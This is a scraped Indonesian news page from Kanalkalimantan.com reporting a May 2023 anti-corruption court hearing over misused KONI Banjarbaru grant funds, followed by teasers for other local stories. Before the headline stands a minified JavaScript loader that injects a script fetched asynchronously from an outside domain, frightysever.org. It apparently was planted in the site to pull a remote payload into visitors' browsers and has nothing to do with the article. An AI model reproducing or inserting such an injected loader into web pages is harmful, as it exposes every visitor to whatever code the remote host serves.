(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Replik JPU Pertahankan Tuntutan, Kasus Korupsi KONI Banjarbaru Diputus Pekan Depan


KANALKALIMANTAN.COM, BANJARMASIN – Sidang perkara kasus korupsi dana hibah Komite Olahraga Nasional Indonesia (KONI) Banjarbaru kembali digelar Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin, Selasa (23/5/2023) siang.

Sidang kali ini digelar dengan agenda replik Jaksa Penuntut Umum (JPU) dari Kejari Banjarbaru sebagai jawaban dari pledoi terdakwa dan kuasa hukum di perisidangan sebelumnya.

Dalam keterangannya, JPU mengatakan, tetap terhadap tuntutan penjara 1 tahun 7 bulan dan denda Rp 100 juta subsider 3 bulan penjara kepada kedua terdakwa mantan ketua dan bendahara KONI Banjarbaru.

Pun terhadap tuntutan ganti rugi sebesar Rp 144 juta subsider 10 bulan penjara kepada masing-masing terdakwa, menurut JPU adalah sudah tepat dibebankan kepada keduanya.

Baca juga: PLN Turunkan Tim Khusus Pemeliharaan Jaringan Tanpa Padam di GI Buntok

“Tetap pada pendapat kami seusai tuntutan sebelumnya, dan meminta majelis hakim menolak pledoi penasehat hukum,” kata JPU Andry di hadapan majelis hakim.

Menurut JPU, terdakwa Daniel Etta telah berpengalaman pada kepengurusan KONI Banjarbaru, sehingga seharusnya dapat mengelola organisasi secara baik dan bertanggung jawab.

Bahkan Daniel Etta, dikatakan jaksa penuntut adalah orang yang berpendidikan yaitu seorang akademisi alias dosen di Fakultas Kehutanan Universitas Lambung Mangkurat (ULM) Banjarmasin.

“Terdakwa seorang akademisi dan dari tahun 2000 telah berada di KONI, seharusnya bisa membawa arah organisasi yang baik dan bertanggung jawab,” tegas JPU.

Sementara itu, penasehat hukum kedua terdakwa yang berhadir di persidangan langsung memberikan duplik atas replik JPU secara lisan. Empat orang penasehat hukum kompak bertahan kepada pledoi yang mereka bacakan pada persidangan sebelumnya.

Baca juga: Kakek Jamsari Ditemukan Selamat Setelah Lima Hari, Mencoba Keluar di Tengah Perairan

“Kami menjawab secara lisan, tetap bertahan pada pembelaan kami kemarin,” kata Darul Huda Mustakim, salah satu dari tim kuasa hukum kedua terdakwa.

Berikutnya, sidang perkara korupsi dana hibah KONI Banjarbaru akan kembali digelar di Pengadilan Tipikor Banjarmasin dengan agenda putusan.

“Putusan tanggal 30 Mei 2023 diperintahkan penuntut umum menghadapkan kedua terdakwa,” ucap Ketua Majelis Hakim I Gede Yuliartha.

Sebelumnya, terdakwa mantan Ketua KONI Banjarbaru Daniel Etta dan Bendahara Agustina Tri Wardhani didakwa JPU telah melakukan korupsi dana hibah KONI Banjarbaru sebesar Rp 658 juta pada anggaran tahun 2018.

Keduanya didakwa dengan Pasal 23 Ayat (1) Jo Pasal 18 Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tipikor sebagaimana diubah dengan Undang-undang Nomor 20 Tahun 2001 tentang Pemberantasan Tipikor.

Sedangkan dakwaan subsider yaitu Pasal 3 Jo Pasal 18  Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tipikor sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tipikor Jo Pasal 55 Ayat (1) ke-1 KUHP. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

10 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

12 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

14 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

15 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

15 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

17 jam ago

This website uses cookies.